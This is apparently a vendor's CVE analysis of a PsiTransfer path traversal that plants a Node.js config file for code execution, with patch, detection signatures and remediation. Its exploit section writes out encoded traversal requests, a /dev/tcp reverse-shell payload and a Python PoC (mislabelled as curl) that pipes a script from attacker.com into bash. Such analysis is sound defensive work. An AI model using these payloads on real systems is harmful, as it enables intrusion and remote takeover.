home intel cve-2026-41180-psitransfer-path-traversal-rce
CVE Analysis 2026-04-23 · 8 min read

CVE-2026-41180: PsiTransfer Path Traversal to RCE via tus Upload Handler

PsiTransfer's PATCH upload flow validates the encoded req.path but writes using the decoded req.params.uploadId, enabling path traversal to plant attacker-controlled JS config files executed on restart.

#path-traversal#remote-code-execution#authentication-bypass#file-upload#node-js
Technical mode — for security professionals
▶ Attack flow — CVE-2026-41180 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-41180Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-41180 is a path traversal vulnerability in PsiTransfer's tus-based upload resume endpoint that permits an unauthenticated remote attacker to write arbitrary content to the application's root directory. Under specific deployment conditions — a custom PSITRANSFER_UPLOAD_DIR whose basename prefixes a Node.js startup-loaded config path — the attacker can plant a config.<NODE_ENV>.js file that executes on the next process restart, achieving remote code execution.

CVSS 7.5 (HIGH) reflects the unauthenticated, network-exploitable nature of the bug and the requirement for a non-default but explicitly supported deployment configuration. No authentication, no existing session, no prior access required.

Root cause: The PATCH handler validates the upload path using Express's still-percent-encoded req.path but passes the decoded req.params.uploadId directly to the tus write backend, allowing path traversal sequences encoded as %2F to bypass the prefix check and escape the intended upload directory.

Affected Component

The vulnerable surface is the tus resumable-upload PATCH handler mounted at /files/:uploadId in app/upload.js (pre-2.4.3). PsiTransfer uses the tus-node-server package to implement the tus 1.0 resumable upload protocol. The relevant Express route and the tus FileStore backend together form the vulnerable pipeline.

Affected versions: all releases prior to 2.4.3. Exploitation requires PSITRANSFER_UPLOAD_DIR to be set to a directory whose basename is a prefix of config (e.g., /app/conf), which is a documented and supported configuration option.

Root Cause Analysis

The bug lives in the split between Express's path parameter decoding and the validation guard. Express decodes req.params before the route handler runs, but req.path retains the raw, percent-encoded form at the point of the middleware check.

// app/upload.js — VULNERABLE (pre-2.4.3)

const UPLOAD_DIR = process.env.PSITRANSFER_UPLOAD_DIR || './data';

router.patch('/files/:uploadId', (req, res, next) => {
  // req.path is still percent-encoded here:
  //   e.g. "/files/conf%2F..%2Fconfig.production.js"
  // req.params.uploadId has already been decoded by Express:
  //   e.g. "conf/../config.production.js"

  const uploadPath = path.join(UPLOAD_DIR, req.path.split('/files/')[1]);
  // BUG: validation uses encoded req.path — %2F is not a slash here,
  //      so path.join sees the literal string "conf%2F..%2Fconfig.production"
  //      and the startsWith check passes cleanly.
  if (!uploadPath.startsWith(path.resolve(UPLOAD_DIR))) {
    return res.status(400).send('Invalid upload ID');
  }

  // tus handler receives req.params.uploadId — already decoded by Express.
  // The FileStore constructs its write path as:
  //   path.join(UPLOAD_DIR, req.params.uploadId)
  //   = path.join('/app/conf', 'conf/../config.production.js')
  //   = '/app/config.production.js'   <-- ESCAPED upload dir
  tusServer.handle(req, res);  // BUG: writes to attacker-controlled path
});

The canonical traversal payload is conf%2F..%2Fconfig.production.js. When split on /files/ and joined with UPLOAD_DIR=/app/conf, the validation path becomes /app/conf/conf%2F..%2Fconfig.production.js — a literal string starting with /app/conf, so startsWith passes. The tus backend receives conf/../config.production.js (decoded), which path.join resolves to /app/config.production.js in the application root.

// tus-node-server FileStore write path construction (simplified)
// node_modules/tus-node-server/lib/stores/FileStore.js

create(req) {
  // uploadId sourced from req.params — already decoded
  const uploadId = req.params.uploadId;
  const filePath = path.join(this.directory, uploadId);
  // path.join resolves '..' segments:
  // path.join('/app/conf', 'conf/../config.production.js')
  // => '/app/config.production.js'
  return fs.open(filePath, 'w');  // BUG: file created outside upload dir
}

Exploitation Mechanics

EXPLOIT CHAIN:
1. Identify target: PsiTransfer instance with PSITRANSFER_UPLOAD_DIR=/app/conf
   (or any dir whose basename prefixes "config")

2. Initiate tus upload — POST /files with Upload-Length and Content-Type headers:
   POST /files HTTP/1.1
   Upload-Length: 512
   Tus-Resumable: 1.0.0
   Content-Type: application/offset+octet-stream
   → Server returns Location: /files/

3. Craft traversal uploadId. Use the server-issued ID as a prefix, or supply
   a raw PATCH directly with the encoded traversal string as uploadId:
   uploadId = "conf%2F..%2Fconfig.production.js"

4. PATCH /files/conf%2F..%2Fconfig.production.js HTTP/1.1
   Tus-Resumable: 1.0.0
   Upload-Offset: 0
   Content-Type: application/offset+octet-stream
   Content-Length: 512

   [body: malicious Node.js module content]

   Example payload body:
   module.exports = { uploadPath: '/tmp' };
   require('child_process').exec('bash -i >& /dev/tcp/attacker/4444 0>&1');

5. Validation bypass: req.path = "/files/conf%2F..%2Fconfig.production.js"
   uploadPath = "/app/conf/conf%2F..%2Fconfig.production.js"
   startsWith('/app/conf') → TRUE  (check passes)

6. tus FileStore writes decoded uploadId to disk:
   path.join('/app/conf', 'conf/../config.production.js')
   → /app/config.production.js  (written to app root)

7. Wait for or trigger process restart (SIGTERM, container redeploy, OOM kill,
   or a secondary DoS against the process). Node.js startup loads:
   require('./config.' + process.env.NODE_ENV + '.js')
   → executes attacker payload → reverse shell / arbitrary command execution

A minimal PoC using curl:

import requests

TARGET = "http://psitransfer.internal:3000"
PAYLOAD = b"""
module.exports = { uploadPath: '/tmp' };
require('child_process').execSync(
    'curl http://attacker.com/shell.sh | bash'
);
"""

# Step 1: initiate upload (some deployments accept arbitrary IDs directly)
patch_url = f"{TARGET}/files/conf%2F..%2Fconfig.production.js"

headers = {
    "Tus-Resumable": "1.0.0",
    "Upload-Offset": "0",
    "Content-Type": "application/offset+octet-stream",
    "Content-Length": str(len(PAYLOAD)),
}

r = requests.patch(patch_url, headers=headers, data=PAYLOAD)
print(f"[*] PATCH status: {r.status_code}")
# 204 No Content = success, file written to /app/config.production.js

Memory Layout

This is a logic/path-traversal vulnerability rather than a memory corruption bug; there is no heap or stack corruption. The relevant "state" is the filesystem and the Node.js module cache at startup.

FILESYSTEM STATE — before attack:
/app/
├── app.js
├── config.js                        (default config, benign)
├── config.production.js             (does not exist, or is legitimate)
├── conf/                            ← PSITRANSFER_UPLOAD_DIR
│   ├── <uploadId-1>.bin
│   └── <uploadId-2>.bin

VALIDATION PATH CONSTRUCTION (encoded):
  UPLOAD_DIR      = /app/conf
  req.path        = /files/conf%2F..%2Fconfig.production.js
  suffix          = conf%2F..%2Fconfig.production.js   (NOT decoded)
  uploadPath      = /app/conf/conf%2F..%2Fconfig.production.js
  startsWith check: "/app/conf/conf%2F..." starts with "/app/conf" → PASS

TUS WRITE PATH CONSTRUCTION (decoded):
  req.params.uploadId = conf/../config.production.js   (decoded by Express)
  filePath        = path.join('/app/conf', 'conf/../config.production.js')
                  = /app/config.production.js           ← ESCAPE

FILESYSTEM STATE — after attack:
/app/
├── app.js
├── config.js
├── config.production.js             ← ATTACKER-WRITTEN, ~512 bytes
│   [contains malicious require() payload]
├── conf/
│   └── ...

NODE.JS STARTUP SEQUENCE:
  require('./config.' + NODE_ENV + '.js')
  → require('./config.production.js')
  → executes attacker payload at process privilege level

Patch Analysis

The fix in 2.4.3 normalizes the upload ID before performing the prefix check, using the decoded value consistently on both sides of the comparison — and additionally applies path.normalize to collapse any .. segments prior to validation.

// BEFORE (vulnerable, pre-2.4.3):
router.patch('/files/:uploadId', (req, res, next) => {
  // Validation uses still-encoded req.path — %2F traversal bypasses check
  const uploadPath = path.join(UPLOAD_DIR, req.path.split('/files/')[1]);
  if (!uploadPath.startsWith(path.resolve(UPLOAD_DIR))) {
    return res.status(400).send('Invalid upload ID');
  }
  tusServer.handle(req, res);
});

// AFTER (patched, 2.4.3):
router.patch('/files/:uploadId', (req, res, next) => {
  // Use decoded req.params.uploadId — same value tus will use downstream
  const uploadId  = req.params.uploadId;
  // Normalize to collapse any .. segments before joining
  const uploadPath = path.normalize(path.join(path.resolve(UPLOAD_DIR), uploadId));
  // Compare normalized absolute paths; traversal sequences now visible
  if (!uploadPath.startsWith(path.resolve(UPLOAD_DIR) + path.sep)) {
    return res.status(400).send('Invalid upload ID');
  }
  tusServer.handle(req, res);
});

Two distinct fixes are applied together: (1) switch from encoded req.path to decoded req.params.uploadId so the validation operand matches what the tus backend will actually use; (2) add path.normalize so that any .. segments surviving the join are resolved before the prefix comparison. Note also the addition of path.sep to the expected prefix, closing the classic /app/conf-evil bypass where a directory name shares a prefix with the intended upload dir.

Detection and Indicators

Detection requires log correlation across the HTTP layer and the filesystem:

DETECTION SIGNATURES:

1. HTTP access log — PATCH requests with percent-encoded slashes in path:
   PATCH /files/[^/]*%2[Ff][^/]* HTTP/1.1  (regex)
   Examples:
     PATCH /files/conf%2F..%2Fconfig.production.js HTTP/1.1 204

2. Filesystem monitoring (inotifywait / auditd):
   -w /app -p w -k psitransfer_root_write
   Alert on any write event to /app/ with comm=node
   that produces a file matching: config\.[a-z]+\.js

3. Node.js startup — unexpected require() resolution:
   NODE_DEBUG=module node app.js 2>&1 | grep 'config\.'
   Unexpected path in module load output signals tampered config.

4. File integrity:
   sha256sum /app/config.production.js on each deploy;
   alert on checksum change between restarts.

INDICATORS OF COMPROMISE:
  - config..js mtime newer than last known-good deployment
  - HTTP 204 response to PATCH /files/*%2F* in access logs
  - Unexpected outbound connections from node process post-restart
  - Process list: node app.js spawning sh/bash child processes

Remediation

Immediate: Upgrade to PsiTransfer 2.4.3. No configuration changes compensate for the vulnerable code path in earlier versions — the bypass is in the validation logic itself, not in deployment tuning.

Defense-in-depth for operators running pre-2.4.3:

  • Set PSITRANSFER_UPLOAD_DIR to a path whose basename shares no prefix with config (e.g., /data/uploads rather than /app/conf). This eliminates the condition under which a traversal-written file is a valid startup config path, without fixing the traversal itself.
  • Apply a WAF rule rejecting PATCH requests to /files/ where the path contains %2[Ff], %2[Ee], or %5[Cc] (encoded slash, dot, backslash).
  • Mount the application root read-only and provide a separate writable volume exclusively for the upload directory, enforced at the container or OS level.
  • Set NODE_ENV to a value that does not correspond to any writable path reachable by traversal, reducing the likelihood that a written file matches the startup require() pattern.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →